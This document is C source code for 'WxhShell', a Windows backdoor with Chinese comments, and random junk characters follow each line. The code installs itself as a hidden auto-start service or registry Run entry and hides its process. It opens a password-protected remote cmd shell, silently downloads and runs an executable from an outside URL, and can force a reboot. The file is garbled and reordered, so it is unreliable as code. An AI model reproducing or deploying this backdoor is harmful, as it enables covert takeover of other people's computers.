    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y))sk-  
    else { vq:j?7  
    closesocket(wsh); 6si-IJ  
    ExitThread(0); 1j,Y  
    } p\\q[6  
    break; pE,BE%  
    } PX)qA =4q  
  // 获取shell _P1-d`b0 a  
  case 's': { ApB0)N  
    CmdShell(wsh); Cx~z^YP'  
    closesocket(wsh); 8t!"K_Mkx  
    ExitThread(0); #u@!O%MJ  
    break; cTp+M L  
  } bxq`E!]  
  // 退出 cgOoQP/#  
  case 'x': { K? k`U,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?VsZo6Z"  
    CloseIt(wsh); +%v4Ci"%y  
    break; Cj9Tj'0@I+  
    } th,qq  
  // 离开 W9~datIh>  
  case 'q': { 17d$gZ1O:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^(:Rbsl  
    closesocket(wsh); r1]^#&V;MC  
    WSACleanup(); H'.eqZM  
    exit(1); w"|c;E1;_  
    break; >0oc=9H8  
        } [^f`D%8o  
  } f *vziC<m  
  } LBB[aF,Lr  
bT}WJ2}  
  // 提示信息 LlJvuQ 28  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d+'+z %s%  
} }kDrUnBk  
  } sx\7Z#|  
04t_  
  return; [&:oS35O  
} n>UvRn.7kz  
7Wu2gky3  
// shell模块句柄 =@>&kU%$&  
int CmdShell(SOCKET sock) w?q"%F;/  
{ B?'ti{p A9  
STARTUPINFO si; RJSgts "F  
ZeroMemory(&si,sizeof(si)); #Uu"olX7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sJWwkR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O"Q=66.CR  
PROCESS_INFORMATION ProcessInfo; {w++)N2sh  
char cmdline[]="cmd"; T9A5L"-6T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8J0tya"z  
  return 0; I j /J  
} jG#sVK]  
iVcBD0 q)  
// 自身启动模式 i747( ^  
int StartFromService(void) iDsjIW\j  
{ X(\RA.64  
typedef struct nDvWOt  
{ C#R9Hlb  
  DWORD ExitStatus; hCgNS1%4  
  DWORD PebBaseAddress; .^23qCs  
  DWORD AffinityMask; AdNsY/Y(  
  DWORD BasePriority; @[Th{HTc.G  
  ULONG UniqueProcessId; <PxEl4  
  ULONG InheritedFromUniqueProcessId; QZfnoKz  
}   PROCESS_BASIC_INFORMATION; KVCS(oN  
"x11 YM{F  
PROCNTQSIP NtQueryInformationProcess; N.?Wev{  
~nQb;Bdh%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ra1hdf0"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p=zm_+=  
m 78PQx H  
  HANDLE             hProcess; n|.;g!QDA  
  PROCESS_BASIC_INFORMATION pbi; o&zV8DE_v  
jX%Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z$NLFJvy_-  
  if(NULL == hInst ) return 0; tj3p71%  
wHmEt ORo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R)=<q]Ms  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?:E;C<Ar  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  e(^O8  
D<`X B*  
  if (!NtQueryInformationProcess) return 0; yT4|eHl  
b%BwGS(z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :vjbuqN]  
  if(!hProcess) return 0; 2-4%h!  
oaHBz_pg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1^COR+>L  
?=l(29tH  
  CloseHandle(hProcess); So:89T  
!v-(O"a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y}VKFRky  
if(hProcess==NULL) return 0; iq#Z\Y(  
T1E=<q4  
HMODULE hMod; - M]C-$  
char procName[255]; 9SPu 4i  
unsigned long cbNeeded; ?6Gq &  
5>HI/QG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PJLA^eC7>  
"7g: u-  
  CloseHandle(hProcess); _?ym,@} #  
Z+?j8(:n  
if(strstr(procName,"services")) return 1; // 以服务启动 2+enRR~  
h5JXKR.1]c  
  return 0; // 注册表启动 ll#PCgIm  
} S(Pal/-"  
;8@A7`^  
// 主模块 ,oC r6 ]  
int StartWxhshell(LPSTR lpCmdLine) i< ih :  
{ KH;e)91  
  SOCKET wsl; Umqm5*P(  
BOOL val=TRUE; a4wh-35/  
  int port=0; (n< xoV[e  
  struct sockaddr_in door; 46vz=# ,6L  
0ode&dB  
  if(wscfg.ws_autoins) Install(); C8?/$1|RL  
0V^?~ex  
port=atoi(lpCmdLine); #E#70vWp\O  
-+L1Hid.7  
if(port<=0) port=wscfg.ws_port; <AVpFy  
W`Soa&9  
  WSADATA data; \rpu=*gt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $j:0*Z=>  
JwO+Dd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m*'#`vIbb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %63<Iz"  
  door.sin_family = AF_INET; [\!S-:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =X`/.:%|[  
  door.sin_port = htons(port); /<})+=>6f  
Zy'bX* s|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~&pk</Dl  
closesocket(wsl); GcKJpI\sB  
return 1; |y]#-T?)t  
} .Ee8s]h5W  
%>f:m!.  
  if(listen(wsl,2) == INVALID_SOCKET) { csC3Wm{v  
closesocket(wsl); "0 v]O~s  
return 1; u@o3p*bQ  
} fROhn}<**[  
  Wxhshell(wsl); |$D^LY  
  WSACleanup(); s:jwwE2  
HJ2]xe09  
return 0; Z#F2<*+Pe  
FOZqN K  
} p\(%bO   
QKVZ![Y!s  
// 以NT服务方式启动 M4QMD;Ez  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AIE)q]'Q  
{ QoqdPk#1  
DWORD   status = 0; htaB! Q?V  
  DWORD   specificError = 0xfffffff; 0q/g:"|j  
,xGlWH wrY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P6X 4m(t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NE(6`Wq`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4'{j'kuv  
  serviceStatus.dwWin32ExitCode     = 0; $tb$gO  
  serviceStatus.dwServiceSpecificExitCode = 0; t0wLj}"U  
  serviceStatus.dwCheckPoint       = 0; MP T[f  
  serviceStatus.dwWaitHint       = 0; F Hv|6zUX  
Abj`0\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5!?><{k=%  
  if (hServiceStatusHandle==0) return; )q#b^( v  
0s4%22  
status = GetLastError(); KB-7]H  
  if (status!=NO_ERROR) U'@_fg  
{ d=xweU<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m86w{b$8  
    serviceStatus.dwCheckPoint       = 0; p<$z!|7m  
    serviceStatus.dwWaitHint       = 0; 8(BLS{-"<  
    serviceStatus.dwWin32ExitCode     = status; Q<"zpwHR  
    serviceStatus.dwServiceSpecificExitCode = specificError; f$P pFSY4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g6N{Z e Wg  
    return; vXyaOZ  
  } A }dl@  
;'nu9FU*O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?bbguwo~F  
  serviceStatus.dwCheckPoint       = 0; IH{g-#U  
  serviceStatus.dwWaitHint       = 0; dLv\H&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ecr pv+  
} qgu.c`GmW  
#MI}KmH  
// 处理NT服务事件,比如:启动、停止 [/#;u*n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) KSLyU1W  
{ p#3P`I>ZrT  
switch(fdwControl) 65MR(+3  
{ {+Eq{8m`  
case SERVICE_CONTROL_STOP: NC0x!tJ#7  
  serviceStatus.dwWin32ExitCode = 0; bGDV9su  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x3)qK6,\  
  serviceStatus.dwCheckPoint   = 0; @ij}|k%*  
  serviceStatus.dwWaitHint     = 0; nE,"3X"   
  { _w(SHWh2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ji">} -  
  } $NqT ={!  
  return; Dtelr=/s  
case SERVICE_CONTROL_PAUSE: ]{dg"J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "Sl";.   
  break; 3 bGpK9M~  
case SERVICE_CONTROL_CONTINUE: 2c}>} A4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AWGeK-^  
  break; >?I[dYzut  
case SERVICE_CONTROL_INTERROGATE: Io| 72W}rg  
  break; c^I_~OwaE  
}; z$;z&X$j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~g)gXPjke  
} oc>,5 x  
M,:GMO:?a  
// 标准应用程序主函数 ?-J\~AXL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w,D(zk$   
{ ;Cm%<vW4!  
7LKNEll  
// 获取操作系统版本 y~;Kf0~  
OsIsNt=GetOsVer(); 'R?;T[s%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sJ!AI n<  
/O+,vRw\A  
  // 从命令行安装 "w=.2A:q  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7+=fD|Cl  
]0g<][m  
  // 下载执行文件 I%;xMt Y1o  
if(wscfg.ws_downexe) { &R>x;&Gj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b=.Ikt+y  
  WinExec(wscfg.ws_filenam,SW_HIDE); mM1\s>o  
} D.4=4"qMi  
zR">'bM:  
if(!OsIsNt) { 9 *Q/3|   
// 如果时win9x,隐藏进程并且设置为注册表启动 b4i=eI8  
HideProc(); ^#p S u  
StartWxhshell(lpCmdLine); &`GQS|  
} _=8x?fC:rl  
else wF[^?K '  
  if(StartFromService()) jbGP`b1_  
  // 以服务方式启动 KE6[u*\  
  StartServiceCtrlDispatcher(DispatchTable); 4w\cS&X~C  
else (+(YO\ng6  
  // 普通方式启动 ,J~kwJ$L  
  StartWxhshell(lpCmdLine); cl30"WK!  
td&W>(3d  
return 0; cYq<.A(hVj  
} yiiYq(\{  
80LKxA;5N  
b\F(.8  
RT4ns+J1  
=========================================== C]p3,G,oN  
u.gnv dU  
OcwD<Xy  
5L%A5C&|  
}LN +V~  
bwS1YGb  
" CFkM}`v0  
*dL!)+:d  
#include <stdio.h> E_MGejm@  
#include <string.h> G(EiDo&  
#include <windows.h> SZea[~ &  
#include <winsock2.h> 1|Us"GQ (n  
#include <winsvc.h> ZV$qv=X  
#include <urlmon.h> /9QI^6& SX  
$ohIdpZLH2  
#pragma comment (lib, "Ws2_32.lib") 7lqj" o(  
#pragma comment (lib, "urlmon.lib") M9[Fx= qY  
|ffM6W1:  
#define MAX_USER   100 // 最大客户端连接数 -tlRe12  
#define BUF_SOCK   200 // sock buffer KAT4C 4=,  
#define KEY_BUFF   255 // 输入 buffer bT2b)nf  
2r^|  
#define REBOOT     0   // 重启 hqmKUlo  
#define SHUTDOWN   1   // 关机 ]2+7?QL,  
U5[xW  
#define DEF_PORT   5000 // 监听端口 HE,# pj(D  
TG~:Cmc  
#define REG_LEN     16   // 注册表键长度 d:|X|0#\uH  
#define SVC_LEN     80   // NT服务名长度 5^~%10=  
|x3.r t  
// 从dll定义API Gcna:w>6d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qe8dpI;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k,LeBCqGcb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); : 2Ho  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TW8E^k7  
%XM wjBM  
// wxhshell配置信息 |X,T>{V?y  
struct WSCFG { s `B"qw  
  int ws_port;         // 监听端口 J*vy-[w  
  char ws_passstr[REG_LEN]; // 口令 |$`)d87,  
  int ws_autoins;       // 安装标记, 1=yes 0=no l\vtz5L  
  char ws_regname[REG_LEN]; // 注册表键名 Py3Xvudv  
  char ws_svcname[REG_LEN]; // 服务名 A]id*RtY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *tC]Z&5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &.,ZU\`zT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >jD,%yG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]cdKd)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o$8v8="p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t9685s  
@kw#\%Uz  
}; (,#Rj$W  
N:[22`NP  
// default Wxhshell configuration T0J"Wr>WY  
struct WSCFG wscfg={DEF_PORT,  m_LW<'  
    "xuhuanlingzhe", i Tg?JoE2  
    1, VHGOVH,  
    "Wxhshell", Hr |De8#f  
    "Wxhshell", k>I[U}h  
            "WxhShell Service", 2| $  
    "Wrsky Windows CmdShell Service", mf ^=tZ  
    "Please Input Your Password: ", B`3RyM"J@  
  1, /ldE (!^n  
  "http://www.wrsky.com/wxhshell.exe", dq}60  
  "Wxhshell.exe" fOs"\Y4  
    }; ?4GI19j  
"E =\Vz  
// 消息定义模块 lS&$86Jo(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'yuM=Pb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n>T1KC%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 484lB}H  
char *msg_ws_ext="\n\rExit."; mojD  
char *msg_ws_end="\n\rQuit."; >DeG//rv  
char *msg_ws_boot="\n\rReboot..."; J*?BwmD'8  
char *msg_ws_poff="\n\rShutdown..."; @AYO )Y8  
char *msg_ws_down="\n\rSave to "; ?&W1lYY  
c%%r  
char *msg_ws_err="\n\rErr!"; fmC)]O%q  
char *msg_ws_ok="\n\rOK!"; ~GZ!;An  
`!rH0]vy  
char ExeFile[MAX_PATH]; P#H|at  
int nUser = 0; (F@.o1No%  
HANDLE handles[MAX_USER]; 28>PmH]7  
int OsIsNt; Ao~ZK[u  
Ch8w_Jf1yx  
SERVICE_STATUS       serviceStatus; zY6{ OP!#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R{uq8NA- W  
O*^=  
// 函数声明 WlVp|s{TYP  
int Install(void); P[6@1  
int Uninstall(void); I%.KFPV  
int DownloadFile(char *sURL, SOCKET wsh); (ds-p[`[m  
int Boot(int flag); *)+1BYMo  
void HideProc(void); lX$6U| !  
int GetOsVer(void); G66A]FIg  
int Wxhshell(SOCKET wsl); 8@S7_x  
void TalkWithClient(void *cs); F[uy'~;@  
int CmdShell(SOCKET sock); q|,cMPS3  
int StartFromService(void); HO%atE$>  
int StartWxhshell(LPSTR lpCmdLine); bkk1_X  
R L&z\S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -7\Rl3c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \W$bOp  
ENW>bS8 e`  
// 数据结构和表定义 "X4L+]"$g  
SERVICE_TABLE_ENTRY DispatchTable[] = EooQLZ  
{ p"" #Gbwj  
{wscfg.ws_svcname, NTServiceMain}, ~Vq<nkWS  
{NULL, NULL} e]R`B}vO  
}; # hvLv  
D5x }V  
// 自我安装 0T-y]&uo  
int Install(void) v).V&":  
{ <\uz",e}  
  char svExeFile[MAX_PATH]; /Qi;'h]  
  HKEY key; 3NRxf8  
  strcpy(svExeFile,ExeFile); vM@2C'  
U%oh ?g  
// 如果是win9x系统,修改注册表设为自启动 l1BbL5#1Q>  
if(!OsIsNt) { .1R:YNx{/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _q*4+x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Du@?j7&l=$  
  RegCloseKey(key); .R5[bXxe7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dE R#)bGj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _hT-5)1r  
  RegCloseKey(key); -+fbK/  
  return 0; .XD7};g  
    } d3Dw[4  
  } ~xI1@^ r  
} + <AD  
else { {*WJ"9ujp]  
\z>Re$:  
// 如果是NT以上系统,安装为系统服务 q0|u vt"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GCSR)i|  
if (schSCManager!=0) LDDeZY"xd  
{ R'bmE:nL  
  SC_HANDLE schService = CreateService I L dRN  
  ( 5c50F{  
  schSCManager, `@+}zE  
  wscfg.ws_svcname, Fr{u=0 X  
  wscfg.ws_svcdisp, n^<3E; a  
  SERVICE_ALL_ACCESS, ]C.x8(2!f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :EOx>Pf_9)  
  SERVICE_AUTO_START, ~<b/%l>h1  
  SERVICE_ERROR_NORMAL, O 1T JJ8  
  svExeFile, f+>l-6M+p  
  NULL, -1dbJ/)  
  NULL, 05et h  
  NULL, ZI"L\q=|0#  
  NULL, _-/aMfyQ  
  NULL yU* upQ  
  ); C'8v\C9Ag  
  if (schService!=0) Kjbt1n  
  { eZDqW)x  
  CloseServiceHandle(schService); :B(F ?9qK  
  CloseServiceHandle(schSCManager); o+(>/Ou  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~x<nz/^  
  strcat(svExeFile,wscfg.ws_svcname); &' ,A2iG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m8KJ~02l#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !]c]:ed\C  
  RegCloseKey(key); v=!Ap ; 2L  
  return 0; 6{h+(|.(  
    } &0B< iO<f  
  } d&S4`\g?8  
  CloseServiceHandle(schSCManager); /*g9drwaa  
} ~"\qX+  
} 08)X:@ w?  
 ut6M$d4  
return 1; 4R_Vi[i  
} HSq.0vYl6  
[$; \1P/  
// 自我卸载 (_&W@:"z  
int Uninstall(void) }1]E=!?)&  
{ :eaqUW!Y  
  HKEY key; 3w&fN3 1  
En&bwLu:s  
if(!OsIsNt) { f:$LVpXS-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T3po.Km\{  
  RegDeleteValue(key,wscfg.ws_regname); 5rG&Z5  
  RegCloseKey(key); t;BvKH77  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ENu`@S='I3  
  RegDeleteValue(key,wscfg.ws_regname); vfID@g`!q+  
  RegCloseKey(key); 3{e7j6u\  
  return 0; |ocIp/ $  
  } (qn ;MN6<  
} x!\FB.h4!(  
} |~'D8 g:Ak  
else { -rE_pV;  
} sTo,F$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u<8 f ;C_  
if (schSCManager!=0) X8!=Xjl)  
{ NOOP_:(7H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _4E . P  
  if (schService!=0) jO'+r'2B9  
  { 3/ sKRU  
  if(DeleteService(schService)!=0) { )h(Dt(2Wm  
  CloseServiceHandle(schService); }7k!>+eQ  
  CloseServiceHandle(schSCManager); g@WGd(o0)  
  return 0; a`}b'X:  
  } y/' ^r?  
  CloseServiceHandle(schService); -9BKa~ DVQ  
  } xw60l&s.\L  
  CloseServiceHandle(schSCManager); l!2hwRR  
} u3{gX{so  
} Y-(),k_Q:  
HV:mS*e  
return 1; cv fh:~L  
} X]'Hz@$N  
<pd6,l\  
// 从指定url下载文件 5j(3pV`_  
int DownloadFile(char *sURL, SOCKET wsh) y w"Tw  
{ !\{&^,y  
  HRESULT hr; xl5n(~g)p  
char seps[]= "/"; $YDZtS&h  
char *token; @g|E b}t  
char *file; S@suPkQ<>  
char myURL[MAX_PATH]; nJ/wtw  
char myFILE[MAX_PATH]; F?j;3@z[A  
N*t91 X  
strcpy(myURL,sURL); yQwj [  
  token=strtok(myURL,seps); oo\0X  
  while(token!=NULL) JL~QE-pvD  
  { b`Wn98s  
    file=token; ?sl 7C gl  
  token=strtok(NULL,seps); x}TDb0V  
  } jE)&`yZ5  
$cO"1mu  
GetCurrentDirectory(MAX_PATH,myFILE); aubmA0 w  
strcat(myFILE, "\\"); <}pwFl8C)  
strcat(myFILE, file); % '>S9Ja3  
  send(wsh,myFILE,strlen(myFILE),0); G~ZDXQ>5CP  
send(wsh,"...",3,0); 7I;Give{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 66\0JsT?3  
  if(hr==S_OK) ld1t1'I'  
return 0; {8M=[4_`l  
else 7e&R6j  
return 1; Oq{&hH/'}  
9IL#\:d1  
} p},6W,f  
iKB8V<[\T  
// 系统电源模块 +Q, 0kv  
int Boot(int flag) LV:oNK(  
{ IY|;}mIF  
  HANDLE hToken; t1HUp dHY  
  TOKEN_PRIVILEGES tkp; @aR!  -}  
02X~' To"  
  if(OsIsNt) { *AXu_^^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bAeN>~WvY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SsjO1F  
    tkp.PrivilegeCount = 1; -B2>~#L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cOUsbxYTD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8?']W\)  
if(flag==REBOOT) { HMNjQ 1y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) * [*#cMZ   
  return 0; 6G"AP~|0  
} [|UW_Bz  
else { iV#JJ-OBq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sm}q&m]ad  
  return 0; /U<-N'|  
} uF>I0J#z?  
  } =SLP}bP{:  
  else { p#.B Fy  
if(flag==REBOOT) { XgKtg-,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9bjjo;A  
  return 0; @f0~a  
} LBtVK, ?  
else { daBu<0\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Kzxzz6R?  
  return 0; / /qTMxn  
} Vn1kC  
} j'-akXo<  
JnCY O^Qj  
return 1; .LafP}%  
} f+0dwlIlC$  
?PWD[mQE\  
// win9x进程隐藏模块 Ze~ a+%Sb  
void HideProc(void) 9QJ=?bIC#  
{ b@N|sXt&C  
K&"Yv~h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `Oys&]vb  
  if ( hKernel != NULL ) 1W-t})!a  
  { T4T_32`XR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '9GHmtdO,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kgK7 T  
    FreeLibrary(hKernel); }jTEgog  
  } Js qze'BGY  
YP~d1BWvf  
return; -$;H_B+.  
} C 0*k@kGy  
O:q}<ljp  
// 获取操作系统版本 GZQ)Tz R  
int GetOsVer(void) J),7ukLu^  
{ c[<lr  
  OSVERSIONINFO winfo; [w~teX0!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7&NRE"?G  
  GetVersionEx(&winfo); e~J% NU'&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q=bJ9iJsq  
  return 1; <(d ^2-0  
  else oypq3V=5  
  return 0; XPzwT2_E  
} =,-80WNsX  
6fPuTQ}fY>  
// 客户端句柄模块 e`R*6^e  
int Wxhshell(SOCKET wsl) i>T{s-3v  
{ I Jq$GR  
  SOCKET wsh; ^/R@bp#<  
  struct sockaddr_in client; -'{ioHt&X/  
  DWORD myID; \WouTn  
O<f_-n@G|  
  while(nUser<MAX_USER) KBzEEvx/$  
{ n_v c}ame  
  int nSize=sizeof(client); '. atbl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WKBPqfC  
  if(wsh==INVALID_SOCKET) return 1; gU>Y  
/j -LW1:N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i1vBg}WHN  
if(handles[nUser]==0) wx(| $2{h  
  closesocket(wsh); NNutpA}s  
else x:;8U i"&B  
  nUser++; wias ]u|  
  } Pc? d@tm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |kV,B_qz  
(h/v"dV;  
  return 0; zo@>~G3$9  
} AyNl,Xyc4  
&[I#5 bGk  
// 关闭 socket }?*:uf  
void CloseIt(SOCKET wsh) L7n->8Qk  
{ !i_5Xc H  
closesocket(wsh); lhQ*;dMj%"  
nUser--; +ls *04  
ExitThread(0); HJBUN1n  
} }K"=sE  
A &w)@DOe  
// 客户端请求句柄 E3,Z(dpX!  
void TalkWithClient(void *cs) kp<9o!?)  
{ lDp5aT;DsM  
?xK9  
  SOCKET wsh=(SOCKET)cs; @Z@yI2#e  
  char pwd[SVC_LEN]; 5[I> l  
  char cmd[KEY_BUFF]; <6p{eGAQV  
char chr[1]; QwOQS %  
int i,j; u9mMkzgSkP  
sF_.9G)S0  
  while (nUser < MAX_USER) { "TtK!>!.  
Gpe h#Q4x  
if(wscfg.ws_passstr) { QHMXQyr(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?ZlwRjB\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P; hjr;  
  //ZeroMemory(pwd,KEY_BUFF); 3zWY%(8t4?  
      i=0; _PNU*E%s<  
  while(i<SVC_LEN) { LdWeI  
/;HytFP  
  // 设置超时 w'M0Rd]  
  fd_set FdRead; 'r1&zw(  
  struct timeval TimeOut; |V!A!tB  
  FD_ZERO(&FdRead); @H&Aj..  
  FD_SET(wsh,&FdRead); b^Rg_,s  
  TimeOut.tv_sec=8; %PlPXoG=  
  TimeOut.tv_usec=0; -Rjn<bTIy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~ D3'-,n[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (jY.S|%  
+ 6r@HK`,t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (O&~*7D*  
  pwd=chr[0]; XFK$p^qu  
  if(chr[0]==0xd || chr[0]==0xa) { \iowAo$  
  pwd=0; !n uXK  
  break; Q:_pW<^  
  } RG*Nw6A  
  i++; s%4)}w;z  
    } .fo.mC@a  
Bu!Gy8\  
  // 如果是非法用户,关闭 socket CoJaVLl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \,p)  
} +qsdA#2  
uT;Qo{G^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1+#Vj#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  PJk Mn  
-iH/~a  
while(1) { 6mRvuJ%  
VJ_E]}H  
  ZeroMemory(cmd,KEY_BUFF); 9Eg'=YJ  
Wt8;S$!=R  
      // 自动支持客户端 telnet标准   LfgR[!  
  j=0; 2vj)3%:7#E  
  while(j<KEY_BUFF) { Q.\+ XR_|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xu+wi>Y^  
  cmd[j]=chr[0]; N SHlo*)}  
  if(chr[0]==0xa || chr[0]==0xd) { iy$]9Wf6=@  
  cmd[j]=0; ) 3Y E$,  
  break; ;'gzR C  
  } q%>L/KJ#  
  j++; !7%L%~z^  
    } 4,$x~m`N  
C?hw$^w7T  
  // 下载文件 Q~-gtEv+&  
  if(strstr(cmd,"http://")) { 7;|6g8=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;PS [VdV  
  if(DownloadFile(cmd,wsh)) dC,F?^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p[Q   
  else 1q\U (^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m?<C\&)6x  
  } d6hWmZVC  
